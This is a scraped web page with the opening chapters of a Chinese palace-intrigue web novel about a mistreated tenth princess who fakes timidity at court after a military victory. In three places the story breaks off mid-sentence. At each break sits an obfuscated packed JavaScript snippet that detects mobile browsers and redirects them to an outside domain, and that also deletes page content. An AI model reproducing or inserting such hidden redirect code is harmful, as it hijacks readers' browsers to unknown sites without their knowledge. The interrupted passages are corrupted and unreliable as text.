《公主又把丞相气疯了》 1. 第 1 章 深夜,官道间的驿站。 最大的屋子里,厚厚的棉被中隆起一个弧度,一个人蜷缩在里。 从妆台上摆着的金银翠玉配饰中,能够窥见床上的人身份甚高。 外籁俱静,正是安眠的好时候,有人却重温了旧梦。 “公主身,奴才命,婢子瞧着她比贱民还不如哩。” “这话委实不通,娼优奴仆会干得可多了去了,她会干什么?整日似个痴儿啼啼哭哭,便是生作百姓人家也是下贱命,哪个肯与她相好?” “张嬷嬷说的是,不过依婢子看,她倒是生了一张好皮,若周皇后教人把她打死也好,婢子有一古方,可令人气绝不死,她这等身份,想来也入不了皇陵,到时和马行街的吴婆打个招呼,卖作富贵人家的养娘,将来有个好运道,随主人家的小姐做个媵婢,也是脱离苦海,好事一桩。” “你个小蹄子,什么古方不古方,好大的口气,公主也敢着牙婆官卖,这十公主可是周皇后的心头刺,一日不打都不能够,到时先叫你成个古方!” 公主不能卖吗? 彼时年岁尚才五岁的江令薇蹲在破败漏风的荒僻宫室墙角下,双耳竖起,一字一句地默念着外头婢子的对话。 呼啸的北风从弯折落灰的窗格争先抢后地吹进来,将她乱糟糟的头发吹得更显狼狈,露出后颈道道触目惊心的伤痕来。 “嘶……” 小小的江令薇冷得牙齿打颤,身体频频发抖,她娴熟地把头发快速围在脖子上,又紧紧地揪着发尾,脸埋进膝盖里,环抱住自己,企图抵御那冻人的冷风。 日复一日,眨眼间便从立冬到了隆冬时节,区区头发焉能过冬。 江令薇骨瘦如柴的双手间长满了冻疮,一碰就钻心地疼。 “呼——哈——”她缩在角落里,朝着手上红肿的冻疮哈着气,这是她从外头那些人身上学来的方法,据说这样就不疼了。 可她呼气呼得脸红了又白,白了又红,冻疮依旧,一股抓心挠肺的痒意渐渐加重,几乎到了忽视不了的地步。 挠—— 要挠—— 起心动念只是一瞬,红肿的双手已经被自己挠得血迹斑斑。 痒意消失,紧随其后的是一阵针扎般的刺痛,一瞬间的功夫,大颗大颗的泪珠从眼睑下滴落。 嘎吱一声,木门被人从外面猛地推开。 待瞧得里头光景,嬉笑声四起。 “嬷嬷,婢子没说错吧,这痴儿是个学人精,想学人说话,做事,想当人哩!” “你啊,真是个泼皮猴子没个正经,好好的炭火摆着不暖手,平白来这地寻晦气。好了,十公主啊,老奴劝你一句,命里没有的东西,再怎么折腾都没用,你啊,就是个禽兽不如的命,好好的把你娘造的孽赎完罪,下了地府,转世投胎,向阎王爷告上你娘一状,来世保不齐是个清清白白正经主子。” “可怜哩……诶!嬷嬷等等婢子,里头怪阴森的,呸呸呸,早知不进来了,晦气死了!” 江令薇睁着一双蓄满泪珠的大眼睛,看看四周漆体脱落的摆件,又追过去瞅瞅已经腐烂的木门,若有所思地点点头。 阴森就是这样么? 还没来得及细想,脓烂的冻疮再度传来剧痛,泪水珠子似的流,她不敢抓了,蜷缩在角落,忍痛将头发围在双手间,试图以暖意来驱散疼痛。 暖了,就会痒,就不痛了。她天真地想着。 可这样一来,只着单薄衣物的身体要怎么办? 只能在寒风中瑟瑟发抖。 …… 世事翻覆,唯独皇城里那间破落宫室的人事始终不曾变化。 责打和叱骂是每日必经历的流程,是周皇后定下的铁律,只对江令薇一人。 宫人背地里戏称,真真是泼天的荣宠。 漆黑暗沉的屋子,永远漏风漏雨的屋檐,窗棂,还有一成不变的残羹剩饭,有时天热,便只能吃馊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974397|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭。 这一切,便是江令薇的前半生,不出所料,她会在未来的某一日,身体再受不住殴打,死在无人愿踏足的暗室里。 可常言道,天无绝人之路,地有好生之德。 无人愿踏足的暗室也有逢灯的那一天。 …… “殿下,殿下,您醒了么?该启程了,今日再行五十里左右,便能抵达京师。” 门外传来规矩的笃笃敲门声。 被叫醒的江令薇睁着有些恍惚的眸子,从旧梦中回神,揉着眉心回道:“知道了。” “可要卑职唤人进来伺候您梳洗?” “不用,下去吧。” 江令薇拍了拍尚有些不清醒的脑袋,一边翻身下床,一边嘟囔道:“怎么忽然梦见以前?” 思来想去也寻不到答案,江令薇把其归结于赶路太累,没太在意。 一路日夜兼程,从边疆赶到离京师不远的京郊,是个人都要累坏了,何况身体本就有旧伤的她。 推开门,一声又一声的行礼问安此起彼伏地响起。 下了楼,军队已经收拾齐整,再等一刻钟,便能出发回京。 江令薇站在驿站匾额下,眺望着远处暗沉沉的天。 看这样子,待会似要下雨。 转身之际,偶听有将士闲话家常。 “终于要回家了,简直太好了!我昨晚都做梦了,梦见我那未过门的小竹马,凄凄切切,好不可怜,我都心疼坏了。” “好姐妹,真羡慕你啊!” “此话何解?” “诶呀!你这都不知道,梦见以前的人事,就代表着有人在想你念你啊,你的未婚夫恐怕想你想得茶饭不思哩!” 是这样吗? 江令薇若有所思地琢磨着。 那她梦见了这么多人和事,究竟是谁在想她? 是他吗? 在想她念她? 茶饭不思,寤寐反侧。 2. 第 2 章 承明四十年秋末。 下过雨的街头一尘不染,往日从晨钟响起就热闹喧哗的京师,现如今罕见地安静。 百姓们全部挤在靠近城门的酒肆与客栈里,在窗边拼命伸长脖子,脸上带着兴奋的神色,翘首以盼。 平日不得见的朝廷重臣,众皇子纷纷站在主城门之下,等着打了胜仗的军队班师回朝。 身着玄铁重甲的禁军龙武军驻守在官吏两侧,面容肃穆,锋利的弯刀横在身侧。 天边云层如雾似的翻涌,一声尖锐的鹰唳忽地传来,众人随之望去,通体乌黑的苍鹰在云雾里翱翔,若隐若现,很快便不见了踪影,但从它硕大的体型来看,是一只雌鹰。 鹰南翔,天色已至申时二刻,滚滚马蹄声从城门外由远及近地传来。 已经等候多时的群臣打起精神,守在马车前的太监进喜见状轻轻叩响车身边窗,话还没说一半,窗户从里面打开,露出东宫储君太子那张略有些狰狞的脸,“要你说?本宫没耳朵,听不见吗?” 进喜面色凄白,悻悻地请罪,不敢辩驳一句。 城门前方,一行人扬鞭策马,带起一地沙尘。 “恭迎玄武将军班师回朝!” 侍立在两侧的龙武军立刻对着进入城的军队行军礼,神情满是恭敬,与有荣焉。 “吁!” 为首的是一名身穿玄甲的中年女人,也是京中统领龙武军的统帅,历来最得天子信任。此番,正是她三月前率大军出征漠北,讨伐骚扰边境的匈奴。 然而,大多数人的目光都或多或少地看向她身边的另一个女子。 面对众人若有若无地打量,十公江令薇本来面无异色,却蓦然记起出征前他给她安排的性子——自卑,怯懦。 不过一个呼吸间,她便变了神色,眼眶泛红,讪讪地低下头,甚至还微微调转马头,主动往玄武将军身后藏了藏。 身旁将军的侄子景元察觉到后,主动往江令薇的方向侧了侧身子,又安抚地拍了拍她的手,示意她别怕。 江令薇颔首,却依旧垂着眸子。 果真上不得台面。——不少忠于太子的朝臣鄙夷地想。 感受到四面八方的异样眼光,江令薇猜测,这些臣子里肯定有人在骂她。 八成是上不得台面之类的话。在宫里的十几年,她都听惯了,会背了。 玄武将军勒停骏马,身后部下也纷纷翻身下马。 江令薇也不再躲避身形,干脆地从马身上下来。还未重新垂下头,眼角余光就见太子从侧方走来,皮笑肉不笑地抚掌夸赞。 “玄武将军勇猛!” 太子一来,群臣自动让出位置,他笑眯眯地看着玄武将军。“萧朝正是需要如将军这般英勇无双的人。” 这话饱含深意,不少人都听得出来。 本来热闹的场面安静了一刻,玄武将军面色不变,只当听不懂太子明里暗里拉拢自己的话,“太子殿下谬赞,臣之前在兵法上有幸得到过陛下的指点,此仗全仰赖陛下。” “将军说得没错。”太子面目短暂地扭曲了一下,接着又道:“不知校尉怎么看?” 这句话是对江令薇说的。她在军中是一个挂名的校尉。 我没有看法。她在心里如是说道。 但这话肯定不能直接说出来,江令薇略一琢磨,语气磕磕畔畔地道:“我……我,不知道,二哥,你……我真不知道。” 声音很小,细若蚊蚋。 太子笑了,一开始还比较收敛,到了后来,竟然开始抚掌大笑,根本停不下来。 还算和气的场面再一次静了下来。 玄武将军及其部下皱了皱眉,群臣面面相觑,太子党羽觉得尴尬的同时却也不觉得奇怪,太子殿下做事一向肆无忌惮,很多中立的臣子都弹劾过他数次。 在萧朝,太子可谓是天之骄子。 生于周皇后腹中,外祖周家又曾对陛下有从龙之功,格外器重,甚至破例封皇后之弟为太师,是切切实实的皇恩浩荡。 太子既是嫡子,又是长子,刚出生就立为储君,若无意外,他就是下一任天子。 但陛下子嗣犹如过江之卿,数不胜数。 除了已经封了郡王的四皇子,五皇子,七公主之外,还有眼前这位向来名不见经传,侥幸有些运气才能随军出征的十公主。 本来,三月前,陛下几乎就要同意太子随军出征漠北,没想到半路杀出来个江令薇,陛下怜爱年纪小的幼子,又有裴丞相举荐,当场就让她去了。 笑声夸张,回荡在每个人耳中。 朝中清流有些忍不了了,有什么好笑的到底?自己不嫌丢人他们还臊得慌呢? 江令薇有些忍不住好奇,他被人点了笑穴吗?抬眼偷瞧了下太子,他简直笑得前仰后合,但几乎是在她眼神看过来的一瞬间,他狠狠剜了她一眼,其中的鄙夷怨毒清晰可见。 这是…… 被气笑了? 还是觉得她表现得太怯懦,看不起她? 江令薇缩着脖子,慢慢回味着太子的神情,很想揣摩清楚他的心理,日后自己遇到相似的情况也这么做。 下一刻,太子收敛了笑声,一旁的七公主神态自若地递来一杯清茶,温声道:“二哥,你又想起之前没看完的那本戏本子了吗,那话本先生也是有才,能让二哥如此开怀,改天皇妹一定亲自去请来给您排戏。” 这是为太子的大笑找了借口。 太子自然也就着台阶下了,江令薇猜得没错,他确实是被气笑了,一举一动看着像个傻子的人,竟然也能抢过他的名额! 太子党羽生怕太子再做出些什么惹人非议之举,一个个全部开始赞扬起板着一张脸的玄武将军。 玄武将军也了解太子是什么德行,懒得理会,尴尬多时的场面终于好了那么一点点。 年轻气盛的景元还是第一次见到如太子这等随心的奇葩之人,又见江令薇从刚才到现在一直默不作声,担忧她受了惊吓,扯了扯她的衣袖。 江令薇被打断思绪,疑惑看着景元,他动作幅度很小地在掌心写了几个字,接着对她眨眼一笑。 看清后,江令薇一怔,但也不好说什么,只得点头。 景元以为自己安慰到位了,看着她瓷白的侧脸,心里跳得剧烈,耳尖也微红。 他写的是:太子是个疯子,公主不必理会这种人。 疯子吗?他们可是亲兄妹,书上说,兄弟姊妹之间留着相同的血液,身为二哥的太子是疯子,那她自己是不是也有这种可能。 究根溯源,当今天子亦是疯子才对。 江令薇暗自琢磨。 既然是班师回朝,那自然也不宜在城门前一直闲聊。太子给进喜使了个眼色,进喜会意,走上前请玄武将军等人沿街道回宫,百姓们都想一睹功臣的尊荣。 “太子殿下先请。”玄武将军谨记君臣的尊卑。 太子就喜欢听这种话,因玄武将军之前不识好歹而生的不渝都散了一点点。 群臣回宫。 江令薇依然低着头,明明是公主之尊,又立了战功,却在太子党羽的有意排挤下,被人挤到了队伍最后,连一个九品医正都能走到她前头。 身旁的景元因为是玄武将军的贴身侍卫,必须侍立在侧,跟她招呼一声后早早就跑前方去了。 因此,她几乎是一个人走在队伍最后面,看着好不凄凉。那个九品医正还一直阴测测地盯着她,生怕搞砸了太子交代的差事。 对于这些冷落,江令薇就像木头成了精,无知无觉,沉默地随着队伍前行。 当然,如果可以,她很想对身旁的男人说:别盯着我了,你都快成斗鸡眼了。 但她也只能心里想想罢了。 一旦说了,谁还会信她怯懦自卑呢。 在军中高高束起的青丝戴着发冠,显得干净飒爽,不过由于她一直维持着低头的姿势,是飒爽也没了,利落也没了,只剩她想要的懦弱。 “十妹妹。” “嗯?”她茫然抬头。 身旁站着一位容貌端方,笑容和善的男人,那九品医正再不敢盯着人看了。而看衣着,石青朝服,绣五爪金龙,这人是皇子。 “我名意行,是你五哥。”五皇子面带关切。 听到这个名字,江令薇脑袋里自动记起那人曾说过的话。江意行,为人低调,早年间封了郡王,在朝中颇有根基。 他来找她干什么? 江令薇想了想,仍旧不知道。不过,依着那种性子回话就是了。 “五哥?”她煞有其事地重复了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974398|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,在得到他肯定的眼神后,语带惊愕地道:“哥哥,你……” “怎么了?”五皇子故作不知地问,视线在她微微泛红的杏眸上停留了一会儿。 “你不害怕太子殿下吗?他讨厌我,你跟我说话,他会记恨你的。” 这话是江令薇的真心话,那人虽然要她在人前注意维持怯懦性子,但也跟她说过,有时候,说话可以按她自身的性格来——直白。 五皇子眼皮微跳,有些惊讶。 他见过实诚之人,却没见过这么实诚的。 皇家谁说话不是拐十八个弯,你暗讽我,我暗讽你,直来直去的他生平倒是第一次见。 望着江令薇黑白分明的眼睛,他了然。 这位十妹妹母妃曾是周皇后宫里的婢女爬床,得了父皇一夜恩宠就被抛在脑后,生产当日便撒手人寰。 皇后为人刻薄好妒,是周太师的姐姐,后宫之中无一人不惧她,而婢女上位就是在赤裸裸地打她的脸,因此很是讨厌尚是婴孩的十妹妹。 宫中子嗣多,父皇也不在意一个婴孩,皇后直接让人关了她十四年,无人教养,无人关照。要不是太子那时生了病,皇后着急,没精力折磨她,只怕得关一辈子。 这样的人,心思纯澈些,不懂弯弯绕绕也正常。 当初渡舟在朝中各皇子为了随军出征漠北的名额争得你死我活时,骤然提起她。 朝中势大的太子,攀附太子一党没有主见的七公主,无能好色的四皇子,以及他自己,无论哪一个去,其余的人肯定都会闹得天翻地覆。 而这个无权无势,甚至无人记得的成年十公主,反而不会有多少人针对。 就这样,渡舟成功解了父皇的燃眉之急,匆匆让人在宫外为十公主开了府,没几日便随军去了漠北。 事后自己问渡舟,他说:“除了殿下这些成年子嗣之外,剩下的皇子皇女连八岁都未有。这位废物的十公主,一无显贵亲族,二无皇恩圣宠,朝中无根基,这样的人很好利用。” 五皇子听后很认同裴渡舟的话,这才有今日的关怀。 “你我皆是父皇的孩子,是亲兄妹,我作为兄长,跟你说话乃是天经地义,便是再不讲理的人来了,我也不怕。” “五哥,你真好。”江令薇心里不信,面上却开始故作感动之态。 虽然她演技不是很好,多数时候只会哭,但感动不就是要双眼通红地哭吗?书上都是这么写的。 五皇子温和一笑,朝她递来一方帕子,示意她擦擦眼泪。 江令薇眼睛很红,拭泪的时候也没有太大动作,一举一动都很小心翼翼,拘谨。 真像一只误入围猎场的林间小鹿啊……不过么,猎物向来是被用来挡灾的。五皇子笑容加深。 为了迎接班师回朝的功臣,百姓还自发准备了姹紫嫣红的鲜花,捏成一瓣一瓣地放在篮子里,抓成一团从高处往下撒。 纷纷扬扬的花瓣从空中飘落,太子嫌恶的不得了,忍着要杀人的脾气勉强笑着,玄武将军倒是颇为惊喜地看着手心里的花瓣。 除了太子不怎么待见这些花之外,大部分人都是欢喜的。 江令薇抬眸望着两旁的百姓,每个人脸上都洋溢着兴奋的笑容。 漠北匈奴频频进犯边疆,杀人越货无恶不作,如今降服,萧朝之人只怕没有不高兴的。 有一些容貌姣好的男子站在楼上对她羞怯一笑,随即便是更猛烈的花瓣落下。 江令薇觉得自己也应该笑一笑才合乎情理,刚做出这个动作,眼角余光就捕捉到一个眼熟的身形。 或者说,是认出了他所穿的衣服,是那人府里的手下。 手下隐在暗处观察着一切,江令薇知道,必定又要向那人告状了。 “他们很好看吗?” “你在看什么?” “你的眼睛是有问题?那么喜欢看别人?” 记忆中的厉喝在脑海中浮现,江令薇保持着轻微扬唇的动作,时不时抬头看一眼四周含羞带怯凝视自己的少年。 这种时候,她应该笑,应该看,低着头才是不对的。这是她在过去三个月的军营生活中得到的经验。 偶有微风过,她拿掉落在眼睛上的花瓣,与面上羞涩相反的,是她眼底近乎浑然天成的漠然。 3. 第 3 章 从京师城门到皇宫正门含天门,皇帝虽未至,但路上龙武军随行护佑,东宫太子及重臣亲自陪同,还有百姓的热切欢呼,可谓是给足了玄武将军等人排场。 此次战役打了三个月,漠北匈奴善战,萧朝将士死伤无数,最后靠着玄武将军过人胆识才扭转战局,大败匈奴。 又加之先前立夏时,不少府州发了洪水,许多百姓流离失所,可谓是天灾人祸一样不少。 好不容易有桩振奋人心的喜事,自然是办得越隆重越好。 太子回头看着被侍卫拦在外围的百姓,怨毒地咒骂了几声。 趁着官员与玄武将军攀谈之际,交代进喜把刚才一直往他头上撒花的刁民全部抓进诏狱。 “孟指挥使是裴丞相提拔上来的,怕是……不会轻易收人进诏狱。”进喜不敢看太子的黑沉面色。 这番话虽然委婉,但太子如何听不明白,正因为听得懂,才最叫他恼火! 裴渡舟,萧朝古往今来最年轻的丞相,年仅二十七岁。 从吃人血肉的皇城司底部爬上来,做到了指挥使的位置,本以为已经是仕途顶峰了。可万万没想到,竟然半路辞官,转做文臣,这简直是匪夷所思! 偏偏父皇还同意了,准许他同正常学子一样参加科举,还直接从乡试开始,不用从头再来。 这也就算了,真当自己是文曲星转世不成?! 但无人能想到,他竟能力压寒窗苦读数载的万名学子,承明三十五年,成了父皇登基以来的第一位连中三元之人。 太子时常怀疑,要是从头开始考,连中六元也不是不可能。那些阅卷大臣必定是不敢得罪他,才给了头名。 毕竟他做皇城司指挥使的时候,抄家灭门那是常事,萧朝十二州谁没听过他的恶名。 成了状元之后,短短五年,从一个七八品小官到现在百官之首的丞相,亦是父皇最宠信之人。 天下真的能有人这般天才妖孽吗?文成武就,做什么都能成事。 太子是不信的,一定是背后有人,而且还是天底下最硬的后台——帝王。 仗着有后台,裴渡舟经常在朝堂上跟他作对。 不过,父皇已然年迈,活不了多久。 他登基后,第一个要杀的就是这个狗奴才!真把父皇当成永久的护身符了不成,他到时候就要让这个人知道,谁才是萧朝的天! 想起裴渡舟从前跟自己针锋相对的事迹,太子就恨得牙痒痒,他用力提溜着进喜的耳朵,把人拉到偏僻处。 进喜忍着疼痛不敢叫出声,还未站稳,就被迎面一巴掌打得头晕目眩,脸上登时有了一道鲜红的五指印。 “本宫看你是越来越放肆了!孟兴算个什么东西,裴渡舟的狗!本宫是萧朝的主子,连一条狗你都处理不好,本宫要你何用啊!” “殿下恕罪,奴才该死!这就去把那些人送进诏狱……”进喜慌忙改口,生怕被厌弃。 诏狱是朝中刑罚最重的地方,孟指挥使因为裴丞相与殿下关系一向不睦,断不会收人进去折磨。 但是,这种理由殿下不会听,若他做不成这事,“进喜”这个身份就会有下一个人来顶替,他是殿下身边第一百六十七位“进喜”,前头的都因为办事不利已经挫骨扬灰了。 太子冷笑着拍拍进喜的脸,顺势揪住他脸上肿起来的肉。 “再敢给本宫找借口,本宫就只能找下一位进喜了。”他眼神阴冷,侧目望向人群中正低着头的江令薇。“一群小畜生,天下好运都是本宫的,牲畜也敢分,呵……” 进喜疼得龇牙咧嘴,拼命忍住才没发出声音,听到这大逆不道的话也装作什么都没听见。 …… 江令薇武功是那人亲手教的,虽然打不过作为师父的他,但对周围的风吹草动一直很敏锐,譬如左前方那道如蛆附骨的眼神,她很早便察觉到了。 虽然她很想回视过去,但他教过,不能那么做。 百官与玄武将军等人热络地闲谈了一番,众人才分开。 江令薇跟着将士从侧门往宣明殿而去,今晚会在那里为他们举办宴席,庆贺凯旋而归。 宫道两边红墙绿瓦,已经进入十月下旬了,吹来的风都带着令人瑟缩的凉意。 玄武将军上了年纪,早年间因为战乱,还在月中的她匆匆披甲上了战场,身体落下不少毛病。 引路的太监递来一早便备好的披风,将军接过,又回身嘱咐她们这些人也要注意保暖。 江令薇也分到了一件厚度适中的披风,她清楚,为军士接风洗尘都是太子安排的,引路太监自然也是太子的人,自然不会给她披风。 是景元悄悄塞给她的。 感受到前方的视线,举目望去,娃娃脸的景元冲她眨了眨眼,笑容爽朗。 景元今年十五,是第一次跟着将军上战场,受了不少伤,但他从不害怕,每次都冲在最前头。 玄武将军不动声色地往后斜瞄了下,随即朝着正挤眉弄眼的景元低喝:“兔崽子!宫廷重地,你给本将老实点!” 少年被抓包,心虚地挠了挠头,对她做了一个记得穿披风的手势后,缩着脑袋回到将军身侧。 江令薇垂下眼眸,玄武将军很得父皇宠信,为人虽然面冷,但内里十分关心她们这些年纪小的将士。 她也曾受到过关照,因为武功出色,将军颇为欣赏她,有一回还邀她进账单独商讨军队部署事宜,但她拒绝了。 还说皇子不宜与将领过从亲密,有结党营私之嫌。那时还有不少将士在帐外,可以说是极为不给面子。 自那过后,玄武将军便把她当空气无视,她在军中只是一个挂名的校尉,之前还因为武功好能上战场杀敌,后来便完全边缘化,所有人都把她当一尊佛一样供着。 她们在前方喊声震天地杀敌,她在后方管理琐碎的军需,美其名曰:这样才如公主所愿,无结党营私之嫌。 对于这些待遇,江令薇并无不满,因为都是她故意为之。 或者应该说,是他让她这么做的。理由是不能贪婪,一步一步来。 玄武将军忠君爱国,又极为孝顺重感情,再欣赏谁,也只会忠于陛下选出的继承人,对这种人,敬而远之才是上策,走得近了反而会惹是非。 江令薇虽然没完全听懂,但她信他。 距离宣明殿越来越近,笔直的宫道出现了一条分岔路,她也终于看到了那一颗熟悉的柏树,跟记忆中一样枝叶葱茏。 往右走上百尺是皇子读书的上书房,往左是雕栏玉砌常年有人打扫的宣明殿。 往后则是一面沉重的红墙,里面有一间无人问津的破落院子,她在那住了十多年,要不是两年前遇到了他,她绝不会有今天。 “将军,下雨了,还有一段距离,奴才等人准备不周,还望您恕罪,奴才这就去传轿子过来。”太监止住步子。 “不妨事,我们这些人都是武夫,没那么精贵,雨也不大,我们走快点就可以。”将军面色如常地摆了摆手,率先加快脚步,剩下的人也立刻跟上。 江令薇望着空中的绵绵细雨,想起第一次见他的场景,那时也下着雨。 …… 进了宣明殿,众多官员与太子以及皇子们都在,在城门下的迎接仪式又来了一遍。 这一次,可能是终于没有刁民往头上撒花,太子的脸色已经恢复了正常,端着储君的仪态说了许多称赞将士们的话。 忠于太子的大臣也不时配合着他,席上推杯换盏,好不热闹。 宴席的主位空着,皇帝还是没来。 太子坐在左上方,得意地望着主位的龙纹,根据收买的太医所说,父皇没几个月好活了。 一想到这句话,太子面对向来看不顺眼的众皇子都难得有了几分好眼色。 七公主轻笑着敬来一杯酒,太子直言七妹妹真是懂看眼色。 虽然听着不像什么夸人的话,但七公主显然不在意,开始每日多次的恭维奉承环节。 五皇子独自用着膳,不时与官员们攀谈几句。他很清楚,父皇不在,就是太子的主场,没必要去出风头。 江令薇的位置还是在最下方,是太子有意为之,她也不介意,大口地吃着碗里的肉丸。 席上吃食很合她的胃口,而且大多是肉食。可能与从小经历有关,她最喜吃肉,一日不吃便睡不着。 席间,有大臣家的公子过来与她说话,但大概是她表现出来的过于唯唯诺诺,不少公子都失去兴趣找借口离开。 江令薇巴不得那些人赶紧走,胸前的头发都要掉她碗里了,太打扰人吃东西了。 坐在江令薇对面的是太子一党的臣子,也是周家八竿子打不着的远房亲戚,因为姓周,即便科举落榜,也捞上了一个九品芝麻官,连庆贺大军回朝的夜宴也能出席。 今日宴席,讲究品级,许多职位低的官员根本来不了。另外,多数清流臣子,也天然不喜这种场合,都以政事为由推辞了。 虽然这么做会被要面子的太子打压排挤,但没人会怕,大不了一死,还能全文臣风骨。 如今朝堂上下,姓周的臣子就占了半数,全以皇后弟弟周太师为首。 民间曾有戏言,说萧朝是周家的天下,对这种话,太子怒极,直接下令诛九族,多少清流上书直谏,差点撞柱都拦不住,而陛下也没有阻拦,自此再没人敢乱说。 “陛下年迈,一年前在宫中大肆修建道观,痴迷所谓的仙丹妙药,依我看啊,哪有什么延长寿命的药,不过是图个安慰……”可能是喝大了,那位姓周的大臣忽然开始议论陛下。 “你真是喝多了,快闭嘴吧!”邻座的大臣还有几分理智,连忙往他嘴里塞吃食,姓周的大臣也反应过来,讪讪一笑,不敢再多话。 江令薇边吃肉边注意着朝臣的交谈。这种场合,他说过,她只要侧耳倾听就够了。 宴席过半,又有一些大臣喝多了,酒壮人胆开始高谈阔论,这次议论的对象是朝中素有煞神之称的裴渡舟。 “今天那位怎么没来啊,按理说,是他力排众议推十公主出征的,如今打了胜仗,怎么人反倒不来了?难道……是在暗处为十公主庆贺不成?哈哈哈……”兵部尚书李德抚掌大笑,琉璃杯中的酒水都被他的动作给搞翻了,洒了一地。 刚才还热闹无比的宣明殿瞬间冷了下来,变得鸦雀无声。无人敢在这种场合讨论裴渡舟,还是这种要命的话题。 兵部尚书李德意识到失言,但也不想就此落了面子,求救似地看向太子。太子一定会帮他说话的,他一直忠心耿耿啊。 太子当然不忍自己的臣下受此冷遇,立即大笑着出声,“李尚书有所不知,我们日理万机的裴丞相,哪肯来这种场合啊,本宫派人去请了三四回,每回都是一些拙劣的借口,本宫猜,要不就是嫌弃大家,要不啊……” 说着,太子往下方的江令薇一比,“就是赤裸裸地避嫌咯,哈哈哈……” 兵部尚书李德配合地笑着,与太子的笑声一同回荡在殿中,寂静的环境中显得格外刺耳。 江令薇咽下嘴里的肉脯,可能是有些噎人,一双杏眼睁得很大,看起来有些慌乱。 她迎着众人打量的视线,登时跪了下去,“我与裴丞相绝无任何不能见光的往来,二哥实在冤枉我了!” “冤枉不冤枉的,谁又知道。本宫若是十妹妹,自然也不会承认啊,大家说是也不是?”太子撑着手,阴冷的目光在她眼睛上扫了一圈。 呵,和那老不死的长了双一样的眼睛又如何,大的活不了多久,小的也必定窝囊到底。 江令薇不动声色地瞄了眼案上的酒水,很渴,想喝。但她没忘记当前要干什么,高声道:“在出征前我从未见过裴丞相,能跟随将军等人出征漠北,我确实对丞相很是感恩,但要说来往,那是绝对没有的!” 这话毫无问题,在众人眼中,便是她因为被污蔑急得脸都白了。 明明已是十七,但身形格外纤瘦,圆润的杏眸因为慌乱,起了一层水雾,皮肤透着一股病弱的白皙,看起来体质不怎么好。 但无可否认,她五官精致,粉脸朱唇,眼如点漆,远远看着,皎若云霞,近身一暼,又似月华。 可惜过于软弱的性子以及身为公主却毫无权势,任人欺辱,都让不少为她美貌心仪的男子失望透底。 与别国不同,萧朝任何行当营生都不拘泥于男女性别,嫁娶之事也是如此,谁有钱有权便可以成为娶的那一方,成一家之主。 按理说,一国公主,那是绝对的上位者,是可以娶三夫四侍,封王开府,入皇家宗庙享后世万人香火。 但照她这个性格与如今的地位,将来怕是只能嫁给别人,管理内宅了。一些大臣满怀恶意地想。 玄武将军身边的景元看不得江令薇被这么欺负,当即就要站起来维护她,却被将军用力按下去。 面对自己侄子焦急的眼神,将军板着脸低声警告,“她是陛下的女儿,你别犯傻。虽然我朝有太子,但将来的事,谁都说不准,这些皇子皇女包括她,都是有可能会继承皇位的。被太子针对那是再正常不过的事,你不要掺合到里面。” “哪里正常了!被别人欺负也叫正常吗?!”景元仍然不服。 “别人我不知道,但在宫里,这就是正常。”将军死死按着他,压低了声音,“想有尊严的活着,在任何地方都是有条件的,宫里的条件就是争权夺位,谁赢谁有尊严。” 看着景元困惑的神情,她又不放心地补了一句,“皇家的事你少掺合,将来萧朝的主子是谁,全看陛下选定的人是谁。总之,我警告你,不要管,这也不是我们需要操心的事。” 景元听不懂,他看着跪在角落里的江令薇,为她感到愤怒与不值。 不公平,他第一次这么想。 “想想你爹娘,一年得见一回,别为了一些虚无缥缈的人连累他们。”玄武将军扯着景元的耳朵,苦口婆心地劝慰。 听到这话,还想说些什么的景元面色瞬间落寞,“我知道了……” 萧朝兵权较为分散,各州府和京中几名将军分别统管一方人马。无一例外的是,这些将领官吏自接管部分兵权那一日起,家中多数老小都被迎往宫中,各种封号赏赐如流水,平常很少出宫,只在年关将近,官吏回京述职时才得以相见。 玄武将军是孤女,被景元祖父母捡到,和自家儿女一起养大,感情深厚。当初她被皇帝看重,想要晋为京中最后一位统率军队的将军。 因为有这个传统,虽然她很想率军报效家国,但并不打算为了自己牺牲掉别人,本打算冒死抗旨,但景元父母却主动站出来要她接旨,不忍她为难。于是乎,尚在襁褓之中的景元没了爹娘陪伴长大。 因此,玄武将军对景元一家很是愧疚,对这个侄子也看重得不得了,生怕单纯的他被卷进皇家争斗中。 …… 在场众人并没发现玄武将军与景元言语较为激烈的谈话,太子无声冷笑,也不理会跪着的江令薇,摆手示意大家该干嘛干嘛,不要因为某些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但只有她自己知道,面前的炸肉丸有多吸引人。那些嘲讽议论其实她听得很清楚,但并不觉得伤心,不在意的人说什么都随意,她不会掉半块肉。 五皇子不知她心里所想,不赞同地反驳道:“怎么能这么说,你是五哥见过最与众不同的人。至于那些世家公子……” 